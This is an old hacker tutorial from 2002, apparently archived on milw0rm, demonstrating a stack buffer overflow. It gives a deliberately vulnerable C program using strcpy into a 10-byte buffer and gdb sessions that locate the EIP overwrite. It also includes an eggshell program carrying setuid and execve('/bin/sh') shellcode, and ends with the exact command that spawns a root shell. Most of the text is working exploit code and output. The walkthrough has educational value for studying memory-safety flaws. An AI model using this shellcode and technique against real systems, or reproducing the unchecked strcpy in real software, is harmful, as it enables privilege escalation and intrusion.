---------------------- Start of paper --------------------------- simple buffer overflow demonstration Simo aka _6mO_HaCk 05/2002 ok lets say our vulnerable program is the following ----------- start of vul.c -------------- /* vul.c by _6mO_HaCk */ #include int main(int argc, char * argv[]) { char buffer[10]; if(argc < 2) { printf("Usage : %s buffer\n", argv[0]); exit(0); } strcpy(buffer,argv[1]); printf("ur buffer : %s", buffer); } ----------- end of vul.c --------------- lets try now to overflow it [simo@localhost lab]$ gcc vul.c -o vul [simo@localhost lab]$ ./vul `perl -e 'print "A" x 20'` ur buffer : AAAAAAAAAAAAAAAAAAAA 20 bytes and still not able to overflow it, lets put a bigger buffer [simo@localhost lab]$ ./vul `perl -e 'print "A" x 30'` Segmentation fault (core dumped) we did it, we were able to overflow lets try now to see what happened using our favorite debugger gdb [simo@localhost lab]$ gdb -c core ./vul GNU gdb 5.0rh-5 Red Hat Linux 7.1 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/i686/libc.so.6...done. Loaded symbols for /lib/i686/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x40003e40 in process_envvars (modep=Cannot access memory at address 0x41414149 ) at rtld.c:1463 1463 rtld.c: No such file or directory. in rtld.c (gdb) info reg eip eip 0x40003e40 0x40003e40 (gdb) info reg ebp ebp 0x41414141 0x41414141 as u see unfortunatly we were able just to rewrite the ebp (extended base pointer ) address while we couldnt rewrite eip (extended instruction pointer) seems we still need a bigger buffer let's retry with a bigger buffer size [simo@localhost lab]$ ./vul `perl -e 'print "A" x 32'` Segmentation fault (core dumped) [simo@localhost lab]$ gdb -c core ./vul GNU gdb 5.0rh-5 Red Hat Linux 7.1 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/i686/libc.so.6...done. Loaded symbols for /lib/i686/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) info reg ebp ebp 0x41414141 0x41414141 (gdb) info reg eip eip 0x41414141 0x41414141 (gdb) q well this time we did it, with a 32 buffer we were able to overwrite both eip and ebp with our new address 0x41414141 where 41 is the hex value for the ascii caracter "A" :) next step now is to find our shellcode return address, for that we will have to load an eggshell into our environment and then overflow the vulnerable program and find the shellcode return address a simple eggshell that i have written with setuid shellcode -------------------------- start eggshell.c ---------------------------- include #define NOP 0x90 /* our nops (no operations) */ char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() (not mine) */ "\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd" "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80" "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0" "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50" "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89" "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main(void) { char eggshell[512]; puts("eggshell by _6mO_HaCk, loaded into environment"); memset(eggshell,NOP,512); memcpy(&eggshell[512-strlen(shellcode)],shellcode,strlen(shellcode)); setenv("EGG", eggshell, 1); putenv(eggshell); system("/bin/bash"); return(0); } --------------------------- end eggshell.c ----------------------------- [simo@localhost lab]$ gcc eggshell.c -o eggshell; ./eggshell eggshell by _6mO_HaCk, loaded into environment [simo@localhost lab]$ ./vul `perl -e 'print "A" x 32'` Segmentation fault (core dumped) [simo@localhost lab]$ gdb -c core ./vul GNU gdb 5.0rh-5 Red Hat Linux 7.1 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... Core was generated by `./vul'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/i686/libc.so.6...done. Loaded symbols for /lib/i686/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) x/s $esp 0xbffff570: "" (gdb) 0xbffff571: "" (gdb) 0xbffff572: "" (gdb) 0xbffff573: "" (gdb) 0xbffff574: "Üõÿ¿äõÿ¿ö\202\004\bÀ\204\004\b" we gonna keep hiting until we see our shellcode address (gdb) 0xbffffa60: "5:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:" (gdb) 0xbffffa93: "MACHTYPE=i386-redhat-linux-gnu" (gdb) 0xbffffab2: "KDE_MULTIHEAD=false" (gdb) 0xbffffac6: "EGG=", '\220' ... (gdb) 0xbffffb8e: '\220' ... <---- thats the shellcode address that we were looking for (gdb) 0xbffffc56: "\220\220\220\2201À1Û°\027Í\200ëZ^1À\210F\a1À1Û°'Í\200\205Àx21À1Ûf¸\020\001Í\200\ \205Àu\0171À1ÛP\215^\005SV°;PÍ\2001À\215\036\211^\b\211F\fP\215N\bQV°;PÍ\2001À\2\ 15\036\211^\b\211F\f°\013\211ó\215N\b\215V\fÍ\200è¡ÿÿÿ/bin/shÀ\227\004\bäy\025@¨\ õÿ¿w\221\004@\001" (gdb) Quit (gdb) x/x 0xbffffb8e 0xbffffb8e: 0x90909090 ok now since we have found our shellcode address the next step will be to overwrite our eip address with it to make it point to our shellcode to do so we have first to convert our shellcode address to little endian remember the address is 0xbffffb8e lets remove the 0x since its not necessary and then break up the address into 2 bytes lots bf ff fb 8e and then convert it by moving the last byte of the address to the first and so one the new converted address will look like 8efbffbf but before we use this address we will have to add \x to our function printf before each byte so it wont interpret them as ascii caracters, so our new address will look like \x8e\xfb\xff\xbf remember our buffer size was 32 and now we gonna add more 4 bytes (shellcode return address) so will need to remove 4 bytes from our initial buffer so we can add our 4 bytes return address 32 bytes - 4 bytes = 28 bytes 28 bytes + 4 bytes (shellcode return address) = 32 bytes so lets give it a try [simo@localhost lab]$ ./vul `perl -e 'print "A" x 28'``printf "\x8e\xfb\xff\xbf"` sh-2.04# see we did it, we were able to overwrite the eip with our shellcode return address and therefor make it point to our shellcode instructions, which spawned a suid shell in our case ------------------------- End of paper --------------------------- # milw0rm.com [2006-04-08]